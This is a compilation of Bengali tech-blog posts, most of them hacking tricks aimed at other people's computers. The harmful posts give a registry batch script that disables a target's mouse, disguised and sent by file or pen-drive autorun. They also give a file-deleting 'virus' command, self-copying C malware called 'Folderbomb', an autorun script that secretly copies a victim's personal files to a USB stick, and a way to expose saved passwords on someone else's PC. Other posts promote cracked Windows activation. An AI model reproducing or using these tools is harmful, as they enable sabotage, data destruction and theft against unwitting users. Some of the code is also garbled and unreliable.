একদিন দিয়েছিলাম কিভাবে যে কোন কম্পিউটার এর কীবোর্ড অচল করে দিতে পারেন আজকে দেখাবো কিভাবে যে কোন কম্পিউটার এর মাউস সম্পূর্ণ অচল করে দিতে পারবেন। তবে এই টাইপের আরেকটি পোস্ট করেছিলাম আমি সাথে সমাধান দিয়ে কিন্তু আজকে আবারো করছি নতুন কিছু কোডিং এর সাহায্যে। মনে রাখবেন এটি ভুলেও নিজের পিসিতে করবেন না সাইবার ক্যাফ এ গিয়ে প্র্যাকটিস করুন :p যাই হক আজকে দেখবো কিভাবে যে কোন পিসির মাউস অচল করে দিতে পারবেন পেন ড্রাইভ ঢুকিয়ে অথবা পেন ড্রাইভ ছারাও হবে। পেন ড্রাইভ টি যখন কোন পিসিতে ধুকাবেন তখন আর মাউস ই কাজ করবে না পেন ড্রাইভ খুলে নিলেই আবার ঠিক হবে। অথবা কৌশলে কোডিং ফাইল টি যে কাউকে সেন্ড করুন এখানে ক্লিক করলেই মাউস অচল হয়ে যাবে তবে এটা ঠিক করা ঝামেলা বেশী।

শুরু করলামঃ

১। নিচের কোড গুলো নোটপ্যাড এ পেস্ট করে সেভ এস দিয়ে সেভ করুন pp.bat নামে

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

২। এবার এই ফাইলটির ইমেজ চেঞ্জ করুন। এবং যাকে টার্গেট করেছেন তাকে সেন্ড করে দিন দেখুন কি হয়। পোস্ট টি খুবি ছোট হয়ে গেছে কিন্তু এই ভাইরাস টি কিন্তু বিপদ জনক হতে পারে যদি সমাধান না জেনে থাকেন। সমাধান টি এখানে দেখে নিতে পারে।

সবাই ভাল থাকবেন। পাশে থাকুন টিউনারপেজের। আশ্রয় নিন তথ্যপ্রযুক্তির ছায়ায়।

 

কি খবর? সেদিন দিয়েছিলাম কিভাবে যে কোন কম্পিউটার এর কীবোর্ড অচল করে দিতে পারেন আজকে দেখাবো কিভাবে যে কোন কম্পিউটার এর মাউস সম্পূর্ণ অচল করে দিতে পারবেন। আজকের ট্রিকস টিও কিন্তু মারাত্মক খারাপ জিনিস। ভুলেও নিজের পিসিতে করবেন না সাইবার ক্যাফ এ গিয়ে প্র্যাকটিস করুন :p যাই হক আজকে দেখবো কিভাবে যে কোন পিসির মাউস অচল করে দিতে পারবেন পেন ড্রাইভ ঢুকিয়ে অথবা পেন ড্রাইভ ছারাও হবে। পেন ড্রাইভ টি যখন কোন পিসিতে ধুকাবেন তখন আর মাউস ই কাজ করবে না পেন ড্রাইভ খুলে নিলেই আবার ঠিক হবে। অথবা কৌশলে কোডিং ফাইল টি যে কাউকে সেন্ড করুন এখানে ক্লিক করলেই মাউস অচল হয়ে যাবে তবে এটা ঠিক করা ঝামেলা বেশী।

শুরু করলামঃ

১। নিচের কোড গুলো নোটপ্যাড এ পেস্ট করে সেভ এস দিয়ে সেভ করুন pp.bat নামে

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

এখন এই ফাইলটির ইমেজ চেঞ্জ করে কাউকে সেন্ড করুন। এটা ক্লিক করলেই মাউস অচল হয়ে যাবে। (আর যদি পেন ড্রাইভ এর মাঝে করতে চান স্টেপ ২ দেখুন তবে এই ফাইল টাও লাগবে)
২। এবার নিচের কোড গুলো নোটপ্যাড এ পেস্ট করে সেভ এস দিয়ে সেভ করুন autorun.inf নামে

[autorun]
Open=pp.bat
Action=Mouse Disable

৩। pp.bat নাম না দিয়ে যদি অন্য কিছু দেন তাহলে কিন্তু কাজ করবে না। অন্য নাম দিতে চাইলে ২ নং কোডিং এর ২ নং লাইনের pp.bat নাম বাদ দিয়ে নিজের নাম দিন এবং ১নং কোডিং ও একি নামে সেভ করা থাকতে হবে।

সমাধান দেখুন

১। হয়ত আপনি যাকে এটাক করতে চাচ্ছেন সেই আপনার আগে এই পোস্ট টি পড়েছে এবং এর মাঝেই আপনাকে এটাক করে ফেলেছে তাহলে নিচের কোড গুলো নোটপ্যাড এ পেস্ট করে সেভ এস দিয়ে সেভ করুন bcapp.bat নামে।

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

২। এবার এটি ক্লিক করলেই মাউস সচল হয়ে যাবে আবার।

সবাই ভাল থাকবেন। পাশে থাকুন টিউনারপেজের। আশ্রয় নিন তথ্যপ্রযুক্তির ছায়ায়।

 

সালাম সবাইকে আসা করি সবাই ভাল আছেন আজকে আমি একটি ভাইরাস কোডিং নিয়ে পোস্ট লিখছি এই ভাইরাস টি আপনি নিজেই তৈরি করতে পারবেন খুব সহজেই। এটি আপনার শত্রুর সমস্ত DOCUMENTS মুছে দিতে পারবে নিমিশেই। মুলত এই ভাইরাস টি MY DOCUMENTS এর সমস্ত ফাইল এবং ফোল্ডার মুছে দিতে সক্ষম। ভাইরাসটি তৈরি করতে এই কোডিং গুলো একটি নোটপ্যাড এ পেস্ট করে যেকনো নাম দিয়ে সেভ করতে হবে তবে মনে রাখুন নামের শেষ অবশ্যই .bat জুক্ত করুন যেমন হতে পারে user.bat নাম।

rmdir C:\Documents and Settings \S\Q.

আরেকটি বোনাস ভাইরাস এটি খুব শক্তিশালী একটি ভাইরাস এটি দিয়ে আপনার শত্রুর পিসিতে শত শত ফোল্ডার তৈরি হওয়া শুরু হয়ে যাবে।
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0) write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

আমাদের দেশে কয়জন আবার অরিজিনাল উইনন্ডোজ ব্যবহার করেন। আমাদের মধ্য কই জন আছে যারা অরিজিনাল Windows ক্রয় করতে পারবে। আমাদের দেশের বাজারে অনেক Windows এর সিডি পাওয়া যায় যেগুলো কোনটা Active আর কোনটা Non Active তাই যারা Non Active Windows ব্যবহার করেন তাদের আবার অনেক সমস্যা 25-30 দিন মেয়াদকাল। তাই আমি আপনাদের এই সমস্যার  জন্য সকল উইন্ডোজের এক্টিভেসান নিয়ে টেকটিউনস মাঠে হাজির হলাম।

তো কথা খুব বেশি বলে ফেললাম তাই এবার আসল কথাই যাওয়া যাক।

প্রথেমে আমি আপনাদের Windows 7 Active করে দেখাব

এই সিস্টেম টা একদম সোজা Open ৭ Activator.exe টা অপেন করে Certificate/SLIC থেকে আপনার পিসির ব্যান্ড সিলেক্ট করে (ব্যান্ড বিহিন পিসির জন্য যে কোন একটা দিলেই হবে) Product Key (keys.ini) থেকে আপনার ভারসন আর কী সিলেক্ট করুন এবং Install বাটনে ক্লিক করুন এবং পিসি রিস্টার্ট করুন ব্যাস কাম শেষ। (আমি WIN-XP থেকে Screenshot নিয়েছি তার জন্য নিচের ছবিতে সব সেটিং গুলো আবছা দেখাচ্ছে আপনারা যখন WIN-7 এ এটা ঠিক হয়ে যাবে)।

Download 

Windows 8 এর জন্য

Download

করুন

তেমন অসাধারন কিছু নয়। তবে সংগ্রহে রাখার মত। উইন্ডোজ ৭ এর কিছু ডেক্সটপ গেজেট। মোট ৬৩টা। ওয়েবসাইট থেকে নামাতে গেলে একটা একটা করে নামাতে হয়। আমি সেগুলু একসাথে করে জিপ ফাইল এ আপলোড দিয়েছি। অবশ্যই সবগলো বেছে বেছে নামানো। আপনাদের অপছন্দ হবার কথা নয়। নিচে কিছু স্ক্রিনশট দেওয়আ হল

উইন্ডোজ ৭ এর ৬৪বিট ৩২বিট দুই অপারেটিং সিস্টেম এই চলবে। ভয়েজ ক্লক, কেলকুলেটর, সিপিউ মনিটরিং সহ আছে মিডিয়া প্লেয়ার ডেক্সটপ  গেজেট।
ইন্সটল এর নিয়মঃ
জিপ ফাইলটা এক্সট্রাক করে নিন। তারপর যেকোনো একটা গেজেট সিলেক্ট করে রান এস এডমিন দিয়ে নিন। তারপর


উপরের ছবির মত আশবে। ইন্সটল এ ক্লিক করবেন

ব্যাস। হয়ে গেল। এরকম করে সবগুল ইন্সটল দিন। যেটা যেটা ভালো লাগে সেগুল রাখুন বাকি গুলো ডেক্সটপ থেকে কেটে দিন। তবে পরে গেজেট এ সেগুল পাবেন।
মাত্র ১৩ এমবি মোট ৬২ টা মিডিয়াফায়ার ডাউনলোড লিঙ্ক

 

কি অবস্থা সবার? আজকে মজার একটি কোডিং দেখবো যার মাধ্যমে আপনি যে কোন কম্পিউটার থেকে আপনার পেন ড্রাইভ টি সংযুক্ত করার সাথে সাথে সেই পিসির সমস্ত ফাইল/ফোল্ডার অটোমেটিক চুরি করে নিতে পারবেন। মানে হচ্ছে আমরা এমন একটি ছোট ব্যাচ ফাইল তৈরি করব যা থেকে এই কাজটি খুব সহজ ভাবে করে নিতে পারবেন। তবে মনে রাখুন অবশ্যই এটি দিয়ে কারো ক্ষতি করার চেষ্টা করবেন না প্লিজ শুধু মাত্র জেনে রাখার জন্য শেয়ার করলাম।

১। নিচের কোডিং গুলো হুবুহ একটি নোটপ্যাডে পেস্ট করে নাম দিন pp.bat

@echo off
:CHECK
if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”
if exist “%systemdrive%\files” goto COPIER7
goto ERROR
:COPIER7
if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”
if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”
if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”
if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”
if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”
copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”
copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”
copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”
copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”
copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”
MSG %username% “DONE!”
exit
:ERROR
exit

২। উদাহরনে আমরা শুধু মাত্র মাই document এর সকল ফাইল কপি করে দেখছি কারন ফুল পিসি কপি হতে অনেক সময় লাগবে।
৩। এবার এই ফাইলটি আপনার পেন ড্রাইভে রেখে দিন।
৪। এবার এই ব্যাচ কোডিং টি যেনো পেন ড্রাইভ লাগানোর সাথে সাথে কাজ করে সেজন্য একটি autorun.inf ফাইল বানাতে হবে। মানে হচ্ছে কোডিং টি যেনো automatic রান করে সেটির ব্যবস্থা করছি আমরা। নিচের কোডিং গুলো হুবুহু করে করে নোটপ্যাডে সেভ করে নাম দিন autorun.inf

[autorun]
Open=pp.bat
Action=File Copier

৫। খেয়াল করুন ২নাম্বার লাইনে pp.bat নাম দিয়েছি কারন আমাদের তৈরি করা ফাইলের নাম হচ্ছে pp.bat যদি আপনি অন্য কোন নাম দিয়ে ফাইল সেভ করেন তাহলে সেই নামটা pp.bat এর পরিবর্তে লিখে নিবেন।
৬। ব্যাস কাহিনী শেষ এবার আপনার পেন ড্রাইভ একটি মেশিন গান হয়ে গেছে যে কোন কম্পিউটার এ এটি যুক্ত করার সাথে সাথে সম্পূর্ণ automatic ভাবে কম্পিউটার এর সমস্ত ফাইল এবং ফোল্ডার আপনার পেন ড্রাইভে কপি করা শুরু করে দিবে। কপি করার সময় নিচের ছবিত মত একটি স্ক্রীন আসবে।

আজকে এই পর্যন্ত সবাই ভালো থাকুন এবং টিউনারপেজের সাথেই থাকুন।

 

 

কি অবস্থা সবার আছেন কেমন? অনেকদিন পড়ে লিখতে বসলাম। নানান কারনে ইন্টারনেট থেকে বিদায় নিয়েছি অনেক আগেই, সময় পেলে মাঝে মাঝে লিখতে বসি এখনো হাজার হলেই ব্লগ লিখা এক সময়ের নেশা ছিল। যাই হক আজকে লিখতে বসলাম মজার একটা টপিক নিয়ে। অনেক সময় নিজেদের পাসওয়ার্ড সেভ করা থাকে আমাদের পিসিতে কিন্তু প্রয়োজনে সেটা মনে করতেই পারি না। আবার অন্য কারো পিসিতে বসলেন ফেসবুক অথবা কোন সাইটের গেলেন এবং দেখলেন তার পাসওয়ার্ড সেভ করা আছে কিন্তু ******* দেখাচ্ছে। তখন খুবি সহজে আপনি মাত্র ১৩ সেকেন্ডে সেই **** থাকা পাসওয়ার্ড ফিল্ড থেকে পাসওয়ার্ড খুজে বের করে নিতে পারবেন।

প্রথমে ছোট এই এদ অন্স টি ডাউনলোড করে ইন্সটল করে নিন।

---

Download firebug for Firebox
Download firebug Chrome

firebug কি এবং এর ব্যবহার

---

ফাওয়ারবাগ একটি ছোট এদ অন্স যা দিয়ে ওয়েব ডেভেলপার রা খুব সহজেই যে কোন ওয়েবসাইট লোকালি এডিট করতে পারে। এবং লাইভ সাপোর্ট এ CSS ,PHP ,html এবং অনান্যা ফাইল গুলো এডিট করে ওয়েবসাইটের ত্রুটি সংশোধন অথবা এডিট করতে পারে। আজকে আমরা এটির কাজ শিখব এবং দেখে নিব এটি কিভাবে ব্যবহার করে মাত্র ১৩ সেকেন্ডে যে কোন ওয়েবসাইটের পাসওয়ার্ড ফিল্ড থেকে পাসওয়ার্ড খুজে বের করব।

1. আপনার ওরেব browser এ ফায়ারবাগ ইন্সটল করুন।
2. এবার ওয়েব ব্রাউজারের রাইট ক্লিক করলে দেখতে পারবেন “Inspect Element with Firebug”
3. নিচের ছবির মত উপরের লেফট এর করনারে দেখুন একটি আইকন আছে।

৪। এবার এই আইকনের ক্লিক করে মাউস যেদিকে নিবেন যে কোন ওয়েবসাইটের উপরে মাউস রাখলেই সেই সাইটের কোডিং গুলো দেখে নিতে পারবেন এবং নিজের ওয়েবসাইট হলে লাইভ বাগ ফিক্স এবং এডিট করতে পারবেন। এতক্ষণ আমি ফায়ারবাগ সম্পর্কে সাধারণ ধারনা দিয়ে নিলাম তাহলে কাজ করতে সুবিধা হবে আপনাদের।

firebug দিয়ে পাসওয়ার্ড খোজা

---

এবার আমরা ফায়ারবাগ ব্যবহার করে পাসওয়ার্ড ফিলদ এর পাসওয়ার্ড খুজে বের করে নিব।

1. প্রথমে একটি সাইট ওপেন করুন যেখানে সেভ করা পাসওয়ার্ড আছে কিন্তু সেটি দেখা যাচ্ছে না **** দেখা যাচ্ছে পাসওয়ার্ড এর ঘরে। হতে পারে ফেসবুক অথবা যে কোন সাইট।
2. এবার পাসওয়ার্ড ফিল্ড এর ঘরে রাইট ক্লিক করে “Inspect Element with Firebug” ক্লিক করুন তাহলে নিচের ছবির মত দেখতে পারবেন।

3. এবার আপনি “text” লিখে দিন “password” ফিল্ড এর এখানে এবং দেখুন ******* না দেখিয়ে এবার আপনাকে পাসওয়ার্ড টি দেখাবে।

 

আজকে আমরা দেখে নিব কিভাবে আপনি সরাসরি MS word থেকে ওয়ার্ডপ্রেস সাইটে পোস্ট করতে পারবেন। মানে ব্যাপারটা হচ্ছে যে আপনি এমএস ওয়ার্ড এর মাঝে কোন একটা পোস্ট সুন্দর করে সাজিয়ে সরাসরি অখান থেকে পোস্ট করে দিতে পারবেন আপনার ব্লগে লগইন করার দরকার হবে না। এই সিস্টেম টি শুধু মাত্র এমএস ওয়ার্ড ২০০৭ এবং ২০১০ দিয়ে করতে পারবেন তবে নতুন ওয়ার্ড ২০১৩ দিয়েও মনে হবে আমি জানি না। চলেন শুরু করি।

WordPress সাইট কে MS Word সেটআপ

---

আপনি যদি সাইটের অ্যাডমিন হয়ে থাকেন তাহলে আগেয় আপনাকে এটি সেটআপ করে নিতে হবে। তাই অ্যাডমিন প্যানেলে ঢুকে Settings > Writing > Remote Publishing. থেকে XML-RPC টিক দিয়ে “Save Changes.” ক্লিক করুন।

এমএস ওয়ার্ড এর কাজ শুরু

---

প্রথমে একটি “New” Document ওপেন করুন এবার File > New > Blog post. দিন

ব্লগ এর সাথে কানেকশন তৈরি

---

ব্লগ পোষ্টে ক্লিক করার পরে আপনাকে আপনার ব্লগের সাথে এমএস ওয়ার্ড এর কানেকশন তৈরি করে নিতে হবে। তাই WordPress সিলেক্ট করুন লিস্ট থেকে


সাইটের তথ্য গুলো দিন এবার। যেমন যেখানে লিখা আছে <Enter your blog URL here> এখানে আপনার সাইটের লিংক দিন। যেমন http://example.com/xmlrpc.php
NOTE: মনে রাখুন লিংক এর শেষে অবশ্যই xmlrpc.php দিতে হবে।






এবার আপনার সাইটে লগইন করার ইউজার নেম ও পাসওয়ার্ড দিন।

পোস্ট লিখা শুরু করুন

---

কানেকশন তৈরি হয়ে গেছে এবার মনের মত করে পোস্ট লিখা শুরু করুনএমএস ওয়ার্ড দিয়ে চমৎকার সাজিয়ে গুছিয়ে পোস্ট লিখতে পারবেন বিভিন্য অপশন পাবেন যেগুলো সাধারণত ওয়েবসাইতে থাকবে না।

গ্রাফিক্স

আপনি চাইলে “Insert” ট্যাব থেকে ইচ্ছে মতন tables, pictures, shapes, SmartArt, যুক্ত করতে পারবেন।

Category নির্ধারণ

---

এবার “Blog Post” ট্যাব এর “Insert Category” তে ক্লিক করুন তাহলে যেই ব্লগে লিখতে চাইছেন সেই ব্লগের সমস্ত ক্যাটাগরি দেখতে পারবেন আপনি ইচ্ছে মতন একটি সিলেক্ট করতে পারবেন।

Publish অথবা Save as Draft করুন

---

লিখা শেষ হয়ে গেলে এবার আপনি পোস্ট টি ব্লগে publish অথবা “Publish as Draft” করতে পারবেন।